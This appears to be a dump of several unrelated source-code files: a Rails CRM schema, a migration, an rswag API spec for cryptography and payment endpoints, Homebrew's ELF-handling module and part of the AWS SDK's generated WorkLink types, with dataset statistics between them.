t.integer "assigned_to"
t.string "name", :limit => 64, :default => "", :null => false
t.string "access", :limit => 8, :default => "Public"
t.string "website", :limit => 64
t.string "toll_free_phone", :limit => 32
t.string "phone", :limit => 32
t.string "fax", :limit => 32
t.datetime "deleted_at"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
t.string "email", :limit => 64
t.string "background_info"
t.integer "rating", :default => 0, :null => false
t.string "category", :limit => 32
t.text "subscribed_users"
end
add_index "accounts", ["assigned_to"], :name => "index_accounts_on_assigned_to"
add_index "accounts", ["user_id", "name", "deleted_at"], :name => "index_accounts_on_user_id_and_name_and_deleted_at", :unique => true
create_table "activities", :force => true do |t|
t.integer "user_id"
t.integer "subject_id"
t.string "subject_type"
t.string "action", :limit => 32, :default => "created"
t.string "info", :default => ""
t.boolean "private", :default => false
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
add_index "activities", ["created_at"], :name => "index_activities_on_created_at"
add_index "activities", ["user_id"], :name => "index_activities_on_user_id"
create_table "addresses", :force => true do |t|
t.string "street1"
t.string "street2"
t.string "city", :limit => 64
t.string "state", :limit => 64
t.string "zipcode", :limit => 16
t.string "country", :limit => 64
t.string "full_address"
t.string "address_type", :limit => 16
t.integer "addressable_id"
t.string "addressable_type"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
t.datetime "deleted_at"
end
add_index "addresses", ["addressable_id", "addressable_type"], :name => "index_addresses_on_addressable_id_and_addressable_type"
create_table "avatars", :force => true do |t|
t.integer "user_id"
t.integer "entity_id"
t.string "entity_type"
t.integer "image_file_size"
t.string "image_file_name"
t.string "image_content_type"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
create_table "campaigns", :force => true do |t|
t.integer "user_id"
t.integer "assigned_to"
t.string "name", :limit => 64, :default => "", :null => false
t.string "access", :limit => 8, :default => "Public"
t.string "status", :limit => 64
t.decimal "budget", :precision => 12, :scale => 2
t.integer "target_leads"
t.float "target_conversion"
t.decimal "target_revenue", :precision => 12, :scale => 2
t.integer "leads_count"
t.integer "opportunities_count"
t.decimal "revenue", :precision => 12, :scale => 2
t.date "starts_on"
t.date "ends_on"
t.text "objectives"
t.datetime "deleted_at"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
t.string "background_info"
t.text "subscribed_users"
end
add_index "campaigns", ["assigned_to"], :name => "index_campaigns_on_assigned_to"
add_index "campaigns", ["user_id", "name", "deleted_at"], :name => "index_campaigns_on_user_id_and_name_and_deleted_at", :unique => true
create_table "comments", :force => true do |t|
t.integer "user_id"
t.integer "commentable_id"
t.string "commentable_type"
t.boolean "private"
t.string "title", :default => ""
t.text "comment"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
t.string "state", :limit => 16, :default => "Expanded", :null => false
end
create_table "contact_opportunities", :force => true do |t|
t.integer "contact_id"
t.integer "opportunity_id"
t.string "role", :limit => 32
t.datetime "deleted_at"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
create_table "contacts", :force => true do |t|
t.integer "user_id"
t.integer "lead_id"
t.integer "assigned_to"
t.integer "reports_to"
t.string "first_name", :limit => 64, :default => "", :null => false
t.string "last_name", :limit => 64, :default => "", :null => false
t.string "access", :limit => 8, :default => "Public"
t.string "title", :limit => 64
t.string "department", :limit => 64
t.string "source", :limit => 32
t.string "email", :limit => 64
t.string "alt_email", :limit => 64
t.string "phone", :limit => 32
t.string "mobile", :limit => 32
t.string "fax", :limit => 32
t.string "blog", :limit => 128
t.string "linkedin", :limit => 128
t.string "facebook", :limit => 128
t.string "twitter", :limit => 128
t.date "born_on"
t.boolean "do_not_call", :default => false, :null => false
t.datetime "deleted_at"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
t.string "background_info"
t.string "skype", :limit => 128
t.text "subscribed_users"
end
add_index "contacts", ["assigned_to"], :name => "index_contacts_on_assigned_to"
add_index "contacts", ["user_id", "last_name", "deleted_at"], :name => "id_last_name_deleted", :unique => true
create_table "emails", :force => true do |t|
t.string "imap_message_id", :null => false
t.integer "user_id"
t.integer "mediator_id"
t.string "mediator_type"
t.string "sent_from", :null => false
t.string "sent_to", :null => false
t.string "cc"
t.string "bcc"
t.string "subject"
t.text "body"
t.text "header"
t.datetime "sent_at"
t.datetime "received_at"
t.datetime "deleted_at"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
t.string "state", :limit => 16, :default => "Expanded", :null => false
end
add_index "emails", ["mediator_id", "mediator_type"], :name => "index_emails_on_mediator_id_and_mediator_type"
create_table "field_groups", :force => true do |t|
t.string "name", :limit => 64
t.string "label", :limit => 128
t.integer "position"
t.string "hint"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
t.integer "tag_id"
t.string "klass_name", :limit => 32
end
create_table "fields", :force => true do |t|
t.string "type"
t.integer "field_group_id"
t.integer "position"
t.string "name", :limit => 64
t.string "label", :limit => 128
t.string "hint"
t.string "placeholder"
t.string "as", :limit => 32
t.text "collection"
t.boolean "disabled"
t.boolean "required"
t.integer "maxlength"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
t.integer "pair_id"
t.text "settings"
end
add_index "fields", ["field_group_id"], :name => "index_fields_on_field_group_id"
add_index "fields", ["name"], :name => "index_fields_on_name"
create_table "groups", :force => true do |t|
t.string "name"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
create_table "groups_users", :id => false, :force => true do |t|
t.integer "group_id"
t.integer "user_id"
end
add_index "groups_users", ["group_id", "user_id"], :name => "index_groups_users_on_group_id_and_user_id"
add_index "groups_users", ["group_id"], :name => "index_groups_users_on_group_id"
add_index "groups_users", ["user_id"], :name => "index_groups_users_on_user_id"
create_table "leads", :force => true do |t|
t.integer "user_id"
t.integer "campaign_id"
t.integer "assigned_to"
t.string "first_name", :limit => 64, :default => "", :null => false
t.string "last_name", :limit => 64, :default => "", :null => false
t.string "access", :limit => 8, :default => "Public"
t.string "title", :limit => 64
t.string "company", :limit => 64
t.string "source", :limit => 32
t.string "status", :limit => 32
t.string "referred_by", :limit => 64
t.string "email", :limit => 64
t.string "alt_email", :limit => 64
t.string "phone", :limit => 32
t.string "mobile", :limit => 32
t.string "blog", :limit => 128
t.string "linkedin", :limit => 128
t.string "facebook", :limit => 128
t.string "twitter", :limit => 128
t.integer "rating", :default => 0, :null => false
t.boolean "do_not_call", :default => false, :null => false
t.datetime "deleted_at"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
t.string "background_info"
t.string "skype", :limit => 128
t.text "subscribed_users"
end
add_index "leads", ["assigned_to"], :name => "index_leads_on_assigned_to"
add_index "leads", ["user_id", "last_name", "deleted_at"], :name => "index_leads_on_user_id_and_last_name_and_deleted_at", :unique => true
create_table "lists", :force => true do |t|
t.string "name"
t.text "url"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
t.integer "user_id"
end
add_index "lists", ["user_id"], :name => "index_lists_on_user_id"
create_table "opportunities", :force => true do |t|
t.integer "user_id"
t.integer "campaign_id"
t.integer "assigned_to"
t.string "name", :limit => 64, :default => "", :null => false
t.string "access", :limit => 8, :default => "Public"
t.string "source", :limit => 32
t.string "stage", :limit => 32
t.integer "probability"
t.decimal "amount", :precision => 12, :scale => 2
t.decimal "discount", :precision => 12, :scale => 2
t.date "closes_on"
t.datetime "deleted_at"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
t.string "background_info"
t.text "subscribed_users"
end
add_index "opportunities", ["assigned_to"], :name => "index_opportunities_on_assigned_to"
add_index "opportunities", ["user_id", "name", "deleted_at"], :name => "id_name_deleted", :unique => true
create_table "permissions", :force => true do |t|
t.integer "user_id"
t.integer "asset_id"
t.string "asset_type"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
t.integer "group_id"
end
add_index "permissions", ["asset_id", "asset_type"], :name => "index_permissions_on_asset_id_and_asset_type"
add_index "permissions", ["group_id"], :name => "index_permissions_on_group_id"
add_index "permissions", ["user_id"], :name => "index_permissions_on_user_id"
create_table "preferences", :force => true do |t|
t.integer "user_id"
t.string "name", :limit => 32, :default => "", :null => false
t.text "value"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
add_index "preferences", ["user_id", "name"], :name => "index_preferences_on_user_id_and_name"
create_table "sessions", :force => true do |t|
t.string "session_id", :null => false
t.text "data"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
add_index "sessions", ["session_id"], :name => "index_sessions_on_session_id"
add_index "sessions", ["updated_at"], :name => "index_sessions_on_updated_at"
create_table "settings", :force => true do |t|
t.string "name", :limit => 32, :default => "", :null => false
t.text "value"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
add_index "settings", ["name"], :name => "index_settings_on_name"
create_table "taggings", :force => true do |t|
t.integer "tag_id"
t.integer "taggable_id"
t.integer "tagger_id"
t.string "tagger_type"
t.string "taggable_type", :limit => 50
t.string "context", :limit => 50
t.datetime "created_at"
end
add_index "taggings", ["tag_id"], :name => "index_taggings_on_tag_id"
add_index "taggings", ["taggable_id", "taggable_type", "context"], :name => "index_taggings_on_taggable_id_and_taggable_type_and_context"
create_table "tags", :force => true do |t|
t.string "name"
end
create_table "tasks", :force => true do |t|
t.integer "user_id"
t.integer "assigned_to"
t.integer "completed_by"
t.string "name", :default => "", :null => false
t.integer "asset_id"
t.string "asset_type"
t.string "priority", :limit => 32
t.string "category", :limit => 32
t.string "bucket", :limit => 32
t.datetime "due_at"
t.datetime "completed_at"
t.datetime "deleted_at"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
t.string "background_info"
t.text "subscribed_users"
end
add_index "tasks", ["assigned_to"], :name => "index_tasks_on_assigned_to"
add_index "tasks", ["user_id", "name", "deleted_at"], :name => "index_tasks_on_user_id_and_name_and_deleted_at", :unique => true
create_table "users", :force => true do |t|
t.string "username", :limit => 32, :default => "", :null => false
t.string "email", :limit => 64, :default => "", :null => false
t.string "first_name", :limit => 32
t.string "last_name", :limit => 32
t.string "title", :limit => 64
t.string "company", :limit => 64
t.string "alt_email", :limit => 64
t.string "phone", :limit => 32
t.string "mobile", :limit => 32
t.string "aim", :limit => 32
t.string "yahoo", :limit => 32
t.string "google", :limit => 32
t.string "skype", :limit => 32
t.string "password_hash", :default => "", :null => false
t.string "password_salt", :default => "", :null => false
t.string "persistence_token", :default => "", :null => false
t.string "perishable_token", :default => "", :null => false
t.datetime "last_request_at"
t.datetime "last_login_at"
t.datetime "current_login_at"
t.string "last_login_ip"
t.string "current_login_ip"
t.integer "login_count", :default => 0, :null => false
t.datetime "deleted_at"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
t.boolean "admin", :default => false, :null => false
t.datetime "suspended_at"
t.string "single_access_token"
end
add_index "users", ["email"], :name => "index_users_on_email"
add_index "users", ["last_request_at"], :name => "index_users_on_last_request_at"
add_index "users", ["perishable_token"], :name => "index_users_on_perishable_token"
add_index "users", ["persistence_token"], :name => "index_users_on_remember_token"
add_index "users", ["username", "deleted_at"], :name => "index_users_on_username_and_deleted_at", :unique => true
create_table "versions", :force => true do |t|
t.string "item_type", :null => false
t.integer "item_id", :null => false
t.string "event", :limit => 512, :null => false
t.string "whodunnit"
t.text "object"
t.datetime "created_at"
t.text "object_changes"
t.integer "related_id"
t.string "related_type"
end
add_index "versions", ["item_type", "item_id"], :name => "index_versions_on_item_type_and_item_id"
add_index "versions", ["whodunnit"], :name => "index_versions_on_whodunnit"
end
| 44.373602 | 140 | 0.541971 |
e821d17178bd2941fd38304253fdb202cfa58153 | 999 | class PopulateTestimonialTransactionId < ActiveRecord::Migration[4.2]
def up
execute("UPDATE testimonials
INNER JOIN participations ON (testimonials.participation_id = participations.id)
INNER JOIN conversations ON (participations.conversation_id = conversations.id)
INNER JOIN transactions ON (transactions.conversation_id = conversations.id)
SET transaction_id = transactions.id
WHERE participation_id = participations.id
")
end
def down
execute("UPDATE testimonials
INNER JOIN transactions ON (testimonials.transaction_id = transactions.id)
INNER JOIN conversations ON (conversations.id = transactions.conversation_id)
INNER JOIN participations ON (participations.conversation_id = conversations.id)
SET testimonials.participation_id = participations.id
WHERE participations.person_id = testimonials.author_id")
execute("UPDATE testimonials SET transaction_id = NULL WHERE transaction_id IS NOT NULL")
end
end
| 43.434783 | 93 | 0.76977 |
e9d47904323fc7cb2f5d9a5911baea1ea248572d | 5,785 | # spec/integration/docs_spec.rb
# rake rswag:specs:swaggerize
ENV["PASSPHRASE"] = File.read(".env_passphrase_rspec")
ENV["ETHERSCAN_APIKEY"] = File.read(".env_apikey_rspec")
require 'swagger_helper'
describe 'Document API' do
path '/api/encrypt' do
post 'encrypt string' do
tags 'Cryptography'
consumes 'application/json'
parameter name: :input, in: :body, schema: {
type: :object,
properties: {
email: { type: :string },
'pubkey-id': { type: :string },
message: { type: :string }
},
required: [ 'email', 'pubkey-id', 'message' ]
}
response '200', 'success' do
let(:input) { {
"email": "[email protected]",
"pubkey-id": "D32F87617903542569E19BB992C8EB2354589D87",
"message": "hello world"
} }
schema type: :object,
properties: {
cipher: { type: :string }
},
required: [ 'cipher' ]
run_test! do
end
end
end
end
path '/api/decrypt' do
post 'decrypt string' do
tags 'Cryptography'
consumes 'application/json'
parameter name: :input, in: :body, schema: {
type: :object,
properties: {
cipher: { type: :string }
},
required: [ 'cipher' ]
}
response '200', 'success' do
let(:input) { {
"cipher": "hQIMA2VoyGufPHbNARAArcD9pkDrm6oCIkJsusF+FtgZI1O4FwwsJe18y/5jXM1tXrl5fiNIDoe4kMgZNIwC0Q0mtiWlYhfQZUqAr1yVRVJmiCfz7p6CLaP8gjKYKkGpz5TcumPVcKVAGsmVwhb8ZHAaJW8GzGu+Qhn1keXJ06LJqhVIfo9F27QubDh5I2QtuCjhUGgMUDamSHW2DOf01jFWcVSkzh26EYX/5lytXFxPwwsgRvAA+aMl0ef02ybJyOtGrfZDglLuC6Vcli2Gc9jO/XznI1Dil8aAxflV8w8GcDC+J9dFlkftreV9RtX8Y/cikGFe25zm3Iliqd8Ol4FBSixC2JHiWmT35NTPE28aLo0bSeclLK7MYw1WUGOuiXYoR8Wc0TkTwuO4atYFeX9DWK57T5nww4lZASFintcuH208U8+a1dKZi4zkBHWkpSdt0b+mu1b84NmOA7PqCy4N5+7YmiN2t1c2XT+wLO6px4OHOb6zLljtGtujqpJHXIODDptfFa3e9Ht8MfSLXeIwHLEm8yziJy2LwiXq8EvpidX87JmjiVo0d6MHnvWigJJQ8nYKUnMo2L0K8QqT1d8uu0Rk3+LoKDD+lSX/klwBxmTK0wKcJeytsBZE/S1/fcmDU0grobd5xXPDDAPq5nr/qUUfJJDrjk8iKmZ/+iQJYUCWb+AxZKPz+SwriRLSRgEECO3zk+EpZr2jsvaX28mYnVJYN2h1CupHZd7Jpt0W7R4w83nSez2hMaBE5IzE3Adrt/A9MG3LWY/XB4nid7xsTEVaPuk="
} }
schema type: :object,
properties: {
message: { type: :string }
},
required: [ 'message' ]
run_test! do
end
end
end
end
path '/api/sign' do
post 'sign string' do
tags 'Cryptography'
consumes 'application/json'
parameter name: :input, in: :body, schema: {
type: :object,
properties: {
data: { type: :string }
},
required: [ 'data' ]
}
response '200', 'success' do
let(:input) { {
"data": "aGVsbG8gd29ybGQ="
} }
schema type: :object,
properties: {
email: { type: :string },
signature: { type: :string }
},
required: [ 'signature' ]
run_test! do
end
end
end
end
path '/api/verify' do
post 'verify signature' do
tags 'Cryptography'
consumes 'application/json'
parameter name: :input, in: :body, schema: {
type: :object,
properties: {
email: { type: :string },
'pubkey-id': { type: :string },
original: { type: :string },
signature: { type: :string }
},
required: [ 'cipher' ]
}
response '200', 'success' do
let(:input) { {
"email": "[email protected]",
"pubkey-id": "D32F87617903542569E19BB992C8EB2354589D87",
"original": "hello world",
"signature": "iQIzBAABCAAdFiEE0y+HYXkDVCVp4Zu5ksjrI1RYnYcFAlzUsw4ACgkQksjrI1RYnYfsHxAAq0SRQCz82PRvubmep8TZJVDd7FMMlOKyr+3y5rKpbiIkFBnxuS+1slZFIvTHdE0YocrQvfoxW6hdu2zujvn3/XrBhiodqWaLsth0lzoY7E0ae/x/A+fgprqv3FO4DSingi2bVnksMCbYLvUQsDYrgNhPRYnBLKH8IVfwd57sjL5fT7XsDge5CSaCEMbJHDKsbO7bU3Yzj7CRDWYIwf9P+CD3LLKphwBT1jQ0xcY8sVC3GhbvaBbFgHVj/ATkcnqhHeYWdHO515+NlxzpLNklaprkxyg+qoX4LNg1DO68zFTob7EKZWpriNhrMgdGIqPj/EIKFAZhGRwVqbVqlXT1y6V6G9hbXnYibEEhFdm3VBjjppLN6LXqK1YvIXMZN/K/mWdmcCQs5OIWPtDk2xOKy7UVPjvHWupF66JE17qPzZcpmszzWm8miEg4rqb8uf6kzKY2JkbQfF+5oXhGBn2/0BvLkGQnL9380JaQpKMxfpsRakJnES0JcR97uug/8p1x16f/nKw+ZvAaupwU6qT3jbdl5z9LkNXlWe4tzTSowHssfZmUsLK8TC4ETR+eMC31U6WN8/kK7SqvAmgjf64d/oHk5YPj+D5tnmqJyVce1pfMTzCbi1GoB+m5/7b5Xqw0EdKjrC9wOfbDbKj3dj2VTS8NYDsuEuCQPL/iuhSF3TM="
} }
schema type: :object,
properties: {
valid: { type: :boolean }
},
required: [ 'valid' ]
run_test! do
end
end
end
end
end
describe 'Payment API' do
path '/api/payment_info' do
get 'list general payment information' do
tags 'Payment'
produces 'application/json'
response '200', 'success' do
schema type: :object,
properties: {
address: { type: :string },
email: { type: :string },
'pubkey-id': { type: :string }
},
required: [ 'address', 'email', 'pubkey-id' ]
run_test! do
end
end
end
end
path '/api/payment_terms' do
post 'calculate price for data' do
tags 'Payment'
consumes 'application/json'
parameter name: :input, in: :body, schema: {
type: :object,
properties: {
request: { type: :string },
'usage-policy': { type: :string },
method: { type: :string }
},
required: [ 'request', 'usage-policy', 'method' ]
}
response '200', 'success' do
let(:input) { {
"request": "key=value",
"usage-policy": "",
"method": "ether"
} }
schema type: :object,
properties: {
price: { type: :string }
},
required: [ 'price' ]
run_test! do
end
end
end
end
end
describe 'Blockchain API' do
path '/api/transaction?tx={transaction_hash}' do
get 'access transaction information' do
tags 'Blockchain'
produces 'application/json'
parameter name: :transaction_hash, in: :path, type: :string
response '200', 'success' do
let(:transaction_hash) { '0x06bf30b730ead19766d55c0cd3fe6a37a932861eb7fa6d0eaa9c430b9866c876' }
run_test! do
end
end
end
end
end | 30.287958 | 817 | 0.689023 |
e8009af519771bb3f74ef67e81aecedff9a7b590 | 5,039 | # typed: false
# frozen_string_literal: true
# {Pathname} extension for dealing with ELF files.
# @see https://en.wikipedia.org/wiki/Executable_and_Linkable_Format#File_header
#
# @api private
module ELFShim
MAGIC_NUMBER_OFFSET = 0
private_constant :MAGIC_NUMBER_OFFSET
MAGIC_NUMBER_ASCII = "\x7fELF"
private_constant :MAGIC_NUMBER_ASCII
OS_ABI_OFFSET = 0x07
private_constant :OS_ABI_OFFSET
OS_ABI_SYSTEM_V = 0
private_constant :OS_ABI_SYSTEM_V
OS_ABI_LINUX = 3
private_constant :OS_ABI_LINUX
TYPE_OFFSET = 0x10
private_constant :TYPE_OFFSET
TYPE_EXECUTABLE = 2
private_constant :TYPE_EXECUTABLE
TYPE_SHARED = 3
private_constant :TYPE_SHARED
ARCHITECTURE_OFFSET = 0x12
private_constant :ARCHITECTURE_OFFSET
ARCHITECTURE_I386 = 0x3
private_constant :ARCHITECTURE_I386
ARCHITECTURE_POWERPC = 0x14
private_constant :ARCHITECTURE_POWERPC
ARCHITECTURE_ARM = 0x28
private_constant :ARCHITECTURE_ARM
ARCHITECTURE_X86_64 = 0x62
private_constant :ARCHITECTURE_X86_64
ARCHITECTURE_AARCH64 = 0xB7
private_constant :ARCHITECTURE_AARCH64
def read_uint8(offset)
read(1, offset).unpack1("C")
end
def read_uint16(offset)
read(2, offset).unpack1("v")
end
def elf?
return @elf if defined? @elf
return @elf = false unless read(MAGIC_NUMBER_ASCII.size, MAGIC_NUMBER_OFFSET) == MAGIC_NUMBER_ASCII
# Check that this ELF file is for Linux or System V.
# OS_ABI is often set to 0 (System V), regardless of the target platform.
@elf = [OS_ABI_LINUX, OS_ABI_SYSTEM_V].include? read_uint8(OS_ABI_OFFSET)
end
def arch
return :dunno unless elf?
@arch ||= case read_uint16(ARCHITECTURE_OFFSET)
when ARCHITECTURE_I386 then :i386
when ARCHITECTURE_X86_64 then :x86_64
when ARCHITECTURE_POWERPC then :powerpc
when ARCHITECTURE_ARM then :arm
when ARCHITECTURE_AARCH64 then :arm64
else :dunno
end
end
def elf_type
return :dunno unless elf?
@elf_type ||= case read_uint16(TYPE_OFFSET)
when TYPE_EXECUTABLE then :executable
when TYPE_SHARED then :dylib
else :dunno
end
end
def dylib?
elf_type == :dylib
end
def binary_executable?
elf_type == :executable
end
def rpath
return @rpath if defined? @rpath
@rpath = rpath_using_patchelf_rb
end
def interpreter
return @interpreter if defined? @interpreter
@interpreter = patchelf_patcher.interpreter
end
def patch!(interpreter: nil, rpath: nil)
return if interpreter.blank? && rpath.blank?
if HOMEBREW_PATCHELF_RB_WRITE
save_using_patchelf_rb interpreter, rpath
else
save_using_patchelf interpreter, rpath
end
end
def dynamic_elf?
return @dynamic_elf if defined? @dynamic_elf
@dynamic_elf = patchelf_patcher.elf.segment_by_type(:DYNAMIC).present?
end
# Helper class for reading metadata from an ELF file.
#
# @api private
class Metadata
attr_reader :path, :dylib_id, :dylibs
def initialize(path)
@path = path
@dylibs = []
@dylib_id, needed = needed_libraries path
return if needed.empty?
ldd = DevelopmentTools.locate "ldd"
ldd_output = Utils.popen_read(ldd, path.expand_path.to_s).split("\n")
return unless $CHILD_STATUS.success?
ldd_paths = ldd_output.map do |line|
match = line.match(/\t.+ => (.+) \(.+\)|\t(.+) => not found/)
next unless match
match.captures.compact.first
end.compact
@dylibs = ldd_paths.select do |ldd_path|
next true unless ldd_path.start_with? "/"
needed.include? File.basename(ldd_path)
end
end
private
def needed_libraries(path)
return [nil, []] unless path.dynamic_elf?
needed_libraries_using_patchelf_rb path
end
def needed_libraries_using_patchelf_rb(path)
patcher = path.patchelf_patcher
[patcher.soname, patcher.needed]
end
end
private_constant :Metadata
def save_using_patchelf(new_interpreter, new_rpath)
patchelf = DevelopmentTools.locate "patchelf"
odie "Could not locate patchelf, please: brew install patchelf." if patchelf.blank?
args = []
args << "--set-interpreter" << new_interpreter if new_interpreter.present?
args << "--force-rpath" << "--set-rpath" << new_rpath if new_rpath.present?
Homebrew.safe_system(patchelf, *args, to_s)
end
def save_using_patchelf_rb(new_interpreter, new_rpath)
patcher = patchelf_patcher
patcher.interpreter = new_interpreter if new_interpreter.present?
patcher.rpath = new_rpath if new_rpath.present?
patcher.save(patchelf_compatible: true)
end
def rpath_using_patchelf_rb
patchelf_patcher.runpath || patchelf_patcher.rpath
end
def patchelf_patcher
require "patchelf"
@patchelf_patcher ||= ::PatchELF::Patcher.new to_s, on_error: :silent
end
def metadata
@metadata ||= Metadata.new(self)
end
private :metadata
def dylib_id
metadata.dylib_id
end
def dynamically_linked_libraries(*)
metadata.dylibs
end
end
| 25.195 | 103 | 0.720381 |
e9f92ad2083357ef1a5eb7ea048c1f447bbedb19 | 49,226 | # frozen_string_literal: true
# WARNING ABOUT GENERATED CODE
#
# This file is generated. See the contributing guide for more information:
# https://github.com/aws/aws-sdk-ruby/blob/version-3/CONTRIBUTING.md
#
# WARNING ABOUT GENERATED CODE
module Aws::WorkLink
module Types
# @note When making an API call, you may pass AssociateDomainRequest
# data as a hash:
#
# {
# fleet_arn: "FleetArn", # required
# domain_name: "DomainName", # required
# display_name: "DisplayName",
# acm_certificate_arn: "AcmCertificateArn", # required
# }
#
# @!attribute [rw] fleet_arn
# The Amazon Resource Name (ARN) of the fleet.
# @return [String]
#
# @!attribute [rw] domain_name
# The fully qualified domain name (FQDN).
# @return [String]
#
# @!attribute [rw] display_name
# The name to display.
# @return [String]
#
# @!attribute [rw] acm_certificate_arn
# The ARN of an issued ACM certificate that is valid for the domain
# being associated.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/AssociateDomainRequest AWS API Documentation
#
class AssociateDomainRequest < Struct.new(
:fleet_arn,
:domain_name,
:display_name,
:acm_certificate_arn)
SENSITIVE = []
include Aws::Structure
end
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/AssociateDomainResponse AWS API Documentation
#
class AssociateDomainResponse < Aws::EmptyStructure; end
# @note When making an API call, you may pass AssociateWebsiteAuthorizationProviderRequest
# data as a hash:
#
# {
# fleet_arn: "FleetArn", # required
# authorization_provider_type: "SAML", # required, accepts SAML
# domain_name: "DomainName",
# }
#
# @!attribute [rw] fleet_arn
# The ARN of the fleet.
# @return [String]
#
# @!attribute [rw] authorization_provider_type
# The authorization provider type.
# @return [String]
#
# @!attribute [rw] domain_name
# The domain name of the authorization provider. This applies only to
# SAML-based authorization providers.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/AssociateWebsiteAuthorizationProviderRequest AWS API Documentation
#
class AssociateWebsiteAuthorizationProviderRequest < Struct.new(
:fleet_arn,
:authorization_provider_type,
:domain_name)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] authorization_provider_id
# A unique identifier for the authorization provider.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/AssociateWebsiteAuthorizationProviderResponse AWS API Documentation
#
class AssociateWebsiteAuthorizationProviderResponse < Struct.new(
:authorization_provider_id)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass AssociateWebsiteCertificateAuthorityRequest
# data as a hash:
#
# {
# fleet_arn: "FleetArn", # required
# certificate: "Certificate", # required
# display_name: "DisplayName",
# }
#
# @!attribute [rw] fleet_arn
# The ARN of the fleet.
# @return [String]
#
# @!attribute [rw] certificate
# The root certificate of the CA.
# @return [String]
#
# @!attribute [rw] display_name
# The certificate name to display.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/AssociateWebsiteCertificateAuthorityRequest AWS API Documentation
#
class AssociateWebsiteCertificateAuthorityRequest < Struct.new(
:fleet_arn,
:certificate,
:display_name)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] website_ca_id
# A unique identifier for the CA.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/AssociateWebsiteCertificateAuthorityResponse AWS API Documentation
#
class AssociateWebsiteCertificateAuthorityResponse < Struct.new(
:website_ca_id)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass CreateFleetRequest
# data as a hash:
#
# {
# fleet_name: "FleetName", # required
# display_name: "DisplayName",
# optimize_for_end_user_location: false,
# tags: {
# "TagKey" => "TagValue",
# },
# }
#
# @!attribute [rw] fleet_name
# A unique name for the fleet.
# @return [String]
#
# @!attribute [rw] display_name
# The fleet name to display.
# @return [String]
#
# @!attribute [rw] optimize_for_end_user_location
# The option to optimize for better performance by routing traffic
# through the closest AWS Region to users, which may be outside of
# your home Region.
# @return [Boolean]
#
# @!attribute [rw] tags
# The tags to add to the resource. A tag is a key-value pair.
# @return [Hash<String,String>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/CreateFleetRequest AWS API Documentation
#
class CreateFleetRequest < Struct.new(
:fleet_name,
:display_name,
:optimize_for_end_user_location,
:tags)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] fleet_arn
# The Amazon Resource Name (ARN) of the fleet.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/CreateFleetResponse AWS API Documentation
#
class CreateFleetResponse < Struct.new(
:fleet_arn)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass DeleteFleetRequest
# data as a hash:
#
# {
# fleet_arn: "FleetArn", # required
# }
#
# @!attribute [rw] fleet_arn
# The ARN of the fleet.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/DeleteFleetRequest AWS API Documentation
#
class DeleteFleetRequest < Struct.new(
:fleet_arn)
SENSITIVE = []
include Aws::Structure
end
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/DeleteFleetResponse AWS API Documentation
#
class DeleteFleetResponse < Aws::EmptyStructure; end
# @note When making an API call, you may pass DescribeAuditStreamConfigurationRequest
# data as a hash:
#
# {
# fleet_arn: "FleetArn", # required
# }
#
# @!attribute [rw] fleet_arn
# The ARN of the fleet.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/DescribeAuditStreamConfigurationRequest AWS API Documentation
#
class DescribeAuditStreamConfigurationRequest < Struct.new(
:fleet_arn)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] audit_stream_arn
# The ARN of the Amazon Kinesis data stream that will receive the
# audit events.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/DescribeAuditStreamConfigurationResponse AWS API Documentation
#
class DescribeAuditStreamConfigurationResponse < Struct.new(
:audit_stream_arn)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass DescribeCompanyNetworkConfigurationRequest
# data as a hash:
#
# {
# fleet_arn: "FleetArn", # required
# }
#
# @!attribute [rw] fleet_arn
# The ARN of the fleet.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/DescribeCompanyNetworkConfigurationRequest AWS API Documentation
#
class DescribeCompanyNetworkConfigurationRequest < Struct.new(
:fleet_arn)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] vpc_id
# The VPC with connectivity to associated websites.
# @return [String]
#
